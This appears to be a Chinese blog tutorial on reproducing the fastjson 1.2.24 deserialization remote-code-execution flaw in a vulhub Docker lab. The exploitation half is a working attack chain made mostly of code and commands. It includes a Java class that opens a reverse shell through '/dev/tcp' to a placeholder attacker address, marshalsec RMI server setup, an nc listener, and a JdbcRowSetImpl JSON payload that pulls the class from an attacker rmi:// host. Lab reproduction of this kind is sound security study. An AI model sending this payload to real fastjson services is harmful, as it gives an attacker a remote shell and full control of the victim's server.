fastjson-1.2.24漏洞,搭建及复现,手把手图文教程

fastjson-1.2.24漏洞,搭建及复现,手把手图文教程

java1.8、python,我就不写这么安装了


文章目录

  • fastjson-1.2.24漏洞,搭建及复现,手把手图文教程
  • 一、搭建文件数据(docker、vulhub、mvn、RMI)
    • 1.安装docker和docker-compose
    • 2.准备vulhub
    • 3.安装mvn命令
    • 4.安装RMI服务器
    • 5.启动fastjson
  • 二、利用fastjson1.2.24
    • 1.编写exp.java,反弹shell
    • 2.编译exp.java,编译为exp.class
    • 3.python开启web服务器
    • 4.开启RMI服务器
    • 5.开启nc监听
    • 6.发送fastjson给服务器就可以


一、搭建文件数据(docker、vulhub、mvn、RMI)

1.安装docker和docker-compose

安装完成后查看版本是否正常输出,或者把报错的安装全部安装也行
参考链接:
kali 2020安装docker

命令 描述
docker -v 查看docker版本
docker-compose -v 查看docker-compose版本
sudo apt install docker 安装docker
sudo apt install docker-compose 安装docker-compose

fastjson-1.2.24漏洞,搭建及复现,手把手图文教程_第1张图片


2.准备vulhub

创建个fastjson1.2.24命名的目录,文件名:docker-compose.yml,内容为以下
这样就可以省略git vulhub的步骤,我试了一下是可以的

version: '2'
services:
 web:
   image: vulhub/fastjson:1.2.24
   ports:
    - "8090:8090"

或者你想全部git就执行下面代码

sudo git clone https://github.com/vulhub/vulhub.git

3.安装mvn命令

先从官网下载maven安装包
下载官网:Maven–下载Apache Maven
fastjson-1.2.24漏洞,搭建及复现,手把手图文教程_第2张图片


下载后解压到/opt
在这里插入图片描述


然后配置环境变量,打开/etc/profile文件,在末尾添加命令

export M2_HOME=/opt/apache-maven-3.6.3
export PATH=$PATH:$M2_HOME/bin

添加完后使环境生效

source /etc/profile

检查mvn是否安装正常

mvn -v

fastjson-1.2.24漏洞,搭建及复现,手把手图文教程_第3张图片

4.安装RMI服务器

编译marshalsec项目,启动RMI服务,监听端口并加载远程类

git clone https://github.com/mbechler/marshalsec.git

进入到marshalsec文件夹输入命令进行编译

mvn clean package -DskipTests

5.启动fastjson

cd 到步骤2目录,fastjson目录
在这里插入图片描述


使用docker-compose启动fastjson漏洞环境

docker-compose up -d

使用docke查看搭建情况及映射端口

docker ps

在这里插入图片描述


访问ip:端口,端口在docker ps里面,8090是端口,成功访问,搭建成功了
fastjson-1.2.24漏洞,搭建及复现,手把手图文教程_第4张图片

二、利用fastjson1.2.24

1.编写exp.java,反弹shell

exp.java

import java.lang.Runtime;
import java.lang.Process;

public class exp{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/攻击者ip/攻击者nc监听端口 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
        }
    }
}

2.编译exp.java,编译为exp.class

exp.java

javac exp.java

fastjson-1.2.24漏洞,搭建及复现,手把手图文教程_第5张图片


3.python开启web服务器

python2

python -m SimpleHTTPServer

python3

python -m http.server 

4.开启RMI服务器

cd到marshalsec/target目录下,marshalsec是安装RMI的那个目录,target是编译后的目录
RMI端口自己自定义

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://攻击者ip:攻击者python开启的端口/#exp" 攻击者RMI端口

5.开启nc监听

nc监听端口要和exp.java里面的一致

nc -lvnp 攻击者nc监听端口

6.发送fastjson给服务器就可以

nc监听端口要和exp.java里面的一致

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://攻击者ip:攻击者RMI服务器端口/exp",
        "autoCommit":true
    }
}

复现利用成功

你可能感兴趣的:(笔记,docker,容器,运维,linux,python)